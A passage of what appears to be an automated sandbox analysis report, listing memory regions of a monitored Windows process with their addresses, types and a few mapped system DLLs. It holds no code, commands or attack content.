= "private_0x000000001bb40000" filename = "" Region: id = 8304 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8305 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 8306 start_va = 0x1d810000 end_va = 0x1d81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d810000" filename = "" Region: id = 8307 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8308 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8309 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8310 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8311 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8312 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8313 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8314 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8315 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8316 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8317 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8318 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8319 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8320 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8321 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8322 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8323 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8324 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8325 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8326 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8327 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8328 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8329 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8330 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8331 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8334 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8335 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8336 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8337 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8338 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8339 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8340 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8341 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8342 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8343 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8344 start_va = 0x1d820000 end_va = 0x1d846fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d820000" filename = "" Region: id = 8345 start_va = 0x1d820000 end_va = 0x1d82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d820000" filename = "" Region: id = 8346 start_va = 0x1d830000 end_va = 0x1d83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d830000" filename = "" Region: id = 8347 start_va = 0x1d820000 end_va = 0x1d82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d820000" filename = "" Region: id = 8348 start_va = 0x1d820000 end_va = 0x1d82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d820000" filename = "" Region: id = 8349 start_va = 0x1d830000 end_va = 0x1d83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d830000" filename = "" Region: id = 8350 start_va = 0x1d840000 end_va = 0x1d84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d840000" filename = "" Region: id = 8351 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 8352 start_va = 0x1d860000 end_va = 0x1d86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d860000" filename = "" Region: id = 8353 start_va = 0x1d870000 end_va = 0x1d87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d870000" filename = "" Region: id = 8358 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8359 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8360 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8361 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8362 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8363 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8364 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8365 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8366 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8367 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8368 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8369 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8370 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8371 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8373 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 8374 start_va = 0x1f2e0000 end_va = 0x1f7d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001f2e0000" filename = "" Region: id = 8375 start_va = 0x1d8c0000 end_va = 0x1d8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8c0000" filename = "" Region: id = 8376 start_va = 0x1d8d0000 end_va = 0x1d8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8d0000" filename = "" Region: id = 8377 start_va = 0x1dae0000 end_va = 0x1daeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dae0000" filename = "" Region: id = 8378 start_va = 0x1daf0000 end_va = 0x1dafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001daf0000" filename = "" Region: id = 8379 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8380 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8381 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8382 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8383 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8384 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8385 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8386 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8387 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8388 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8389 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8390 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8391 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8392 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8393 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8394 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8395 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8397 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8398 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8399 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8400 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8401 start_va = 0x1d880000 end_va = 0x1d8a6fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8402 start_va = 0x1d880000 end_va = 0x1d88ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d880000" filename = "" Region: id = 8403 start_va = 0x1db00000 end_va = 0x1db26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001db00000" filename = "" Region: id = 8404 start_va = 0x1d890000 end_va = 0x1d89ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d890000" filename = "" Region: id = 8405 start_va = 0x1db00000 end_va = 0x1db26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001db00000" filename = "" Region: id = 8406 start_va = 0x1d8a0000 end_va = 0x1d8affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d8a0000" filename = "" Region: id = 8407 start_va = 0x1db00000 end_va = 0x1db26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001db00000" filename = "" Region: id = 8408 start_va = 0x1db00000 end_va = 0x1db0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001db00000" filename = "" Region: id = 8409 start_va = 0x1db10000 end_va = 0x1db36fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001db10000" filename = "" Region: id = 8410 start_va = 0x1db10000 end_va = 0x1db1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001db10000" filename = "" Region: id = 8411 start_va = 0x1db20000 end_va = 0x1db46fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001db20000" filename = "" Region: id = 8412 start_va = 0x1db20000 end_va = 0x1db2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001db20000" filename = "" Region: id = 8413 start_va = 0x1db30000 end_va = 0x1db56fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001db30000" filename = "" Region: id = 8414 start_va = 0x1db30000 end_va = 0x1db3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001db30000" filename = "" Region: id = 8415 start_va = 0x1db40000 end_va = 0x1db66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001db40000" filename = "" Region: id = 8417 start_va = 0x1d8b0000 end_va = 0x1d8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d8b0000" filename = "" Region: id = 8418 start_va = 0x1db40000 end_va = 0x1db4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db40000" filename = "" Region: id = 8419 start_va = 0x1db50000 end_va = 0x1db5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db50000" filename = "" Region: id = 8420 start_va = 0x1db60000 end_va = 0x1db6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db60000" filename = "" Region: id = 8421 start_va = 0x1db70000 end_va = 0x1db7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db70000" filename = "" Region: id = 8422 start_va = 0x1db80000 end_va = 0x1db9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db80000" filename = "" Region: id = 8423 start_va = 0x1dba0000 end_va = 0x1dbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dba0000" filename = "" Region: id = 8424 start_va = 0x1dbc0000 end_va = 0x1dbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbc0000" filename = "" Region: id = 8425 start_va = 0x1dbf0000 end_va = 0x1dbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dbf0000" filename = "" Region: id = 8426 start_va = 0x1dc00000 end_va = 0x1dc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc00000" filename = "" Region: id = 8427 start_va = 0x1dc10000 end_va = 0x1dc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc10000" filename = "" Region: id = 8428 start_va = 0x1dc20000 end_va = 0x1dc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc20000" filename = "" Region: id = 8429 start_va = 0x1dc30000 end_va = 0x1dc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001dc30000" filename = "" Region: id = 8430 start_va = 0x1dc40000 end_va = 0x1dc66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dc40000" filename = "" Region: id = 8431 start_va = 0x1dc40000 end_va = 0x1dc4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dc40000" filename = "" Region: id = 8432 start_va = 0x1dc50000 end_va = 0x1dc76fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dc50000" filename = "" Region: id = 8433 start_va = 0x1dc50000 end_va = 0x1dc5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dc50000" filename = "" Region: id = 8434 start_va = 0x1dc60000 end_va = 0x1dc86fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dc60000" filename = "" Region: id = 8435 start_va = 0x1dc60000 end_va = 0x1dc6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dc60000" filename = "" Region: id = 8436 start_va = 0x1dc70000 end_va = 0x1dc96fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dc70000" filename = "" Region: id = 8437 start_va = 0x1dc70000 end_va = 0x1dc96fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dc70000" filename = "" Region: id = 8438 start_va = 0x1dc70000 end_va = 0x1dc96fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dc70000" filename = "" Region: id = 8439 start_va = 0x7ffa76440000 end_va = 0x7ffa7644afff monitored = 0 entry_point = 0x7ffa76441de0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 8440 start_va = 0x1dc70000 end_va = 0x1dc70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001dc70000" filename = "" Region: id = 8442 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8443 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8444 start_va = 0x7ffa6b040000 end_va = 0x7ffa6b059fff monitored = 0 entry_point = 0x7ffa6b0445a0 region_type = mapped_file name = "esentprf.dll" filename = "\\Windows\\System32\\esentprf.dll" (normalized: "c:\\windows\\system32\\esentprf.dll") Region: id = 8445 start_va = 0x1ba20000 end_va = 0x1ba20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 8446 start_va = 0x1ba30000 end_va = 0x1ba33fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8447 start_va = 0x1d800000 end_va = 0x1d84dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d800000" filename = "" Region: id = 8448 start_va = 0x1db40000 end_va = 0x1db8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001db40000" filename = "" Region: id = 8450 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 8451 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 8452 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 8453 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 8454 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8f0000" filename = "" Region: id = 8456 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 8457 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 8458 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8459 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8460 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 8463 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8464 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 8465 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 8466 start_va = 0x1d7e0000 end_va = 0x1d7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d7e0000" filename = "" Region: id = 8467 start_va = 0x1d850000 end_va = 0x1d85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d850000" filename = "" Region: id = 8468 start_va = 0x1d860000 end_va = 0x1d86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d860000" filename = "" Region: id = 8469 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 8470 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 8472 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 8473 start_va = 0x1b8c0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8c0000" filename = "" Region: id = 8474 start_va = 0x1b8d0000 end_va = 0x1b8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8d0000" filename = "" Region: id = 8475 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 8476 start_va = 0x1b8e0000 end_va = 0x1b8fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 8477 start_va = 0x1f2e0000 end_va = 0x1fadffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001f2e0000" filename = "" Region: id = 8478 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8479 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8480 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8481 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8482 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8484 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 8485 start_va = 0x1b8e0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8e0000" filename = "" Region: id = 8486 start_va = 0x1b8f0000 end_va = 0x1b8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b8f0000" filename = "" Region: id = 8487 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8488 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8489 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8490 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8491 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8492 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8493 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8494 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8495 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8496 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8497 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8498 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8500 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8501 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 8502 start_va = 0x1bb50000 end_va = 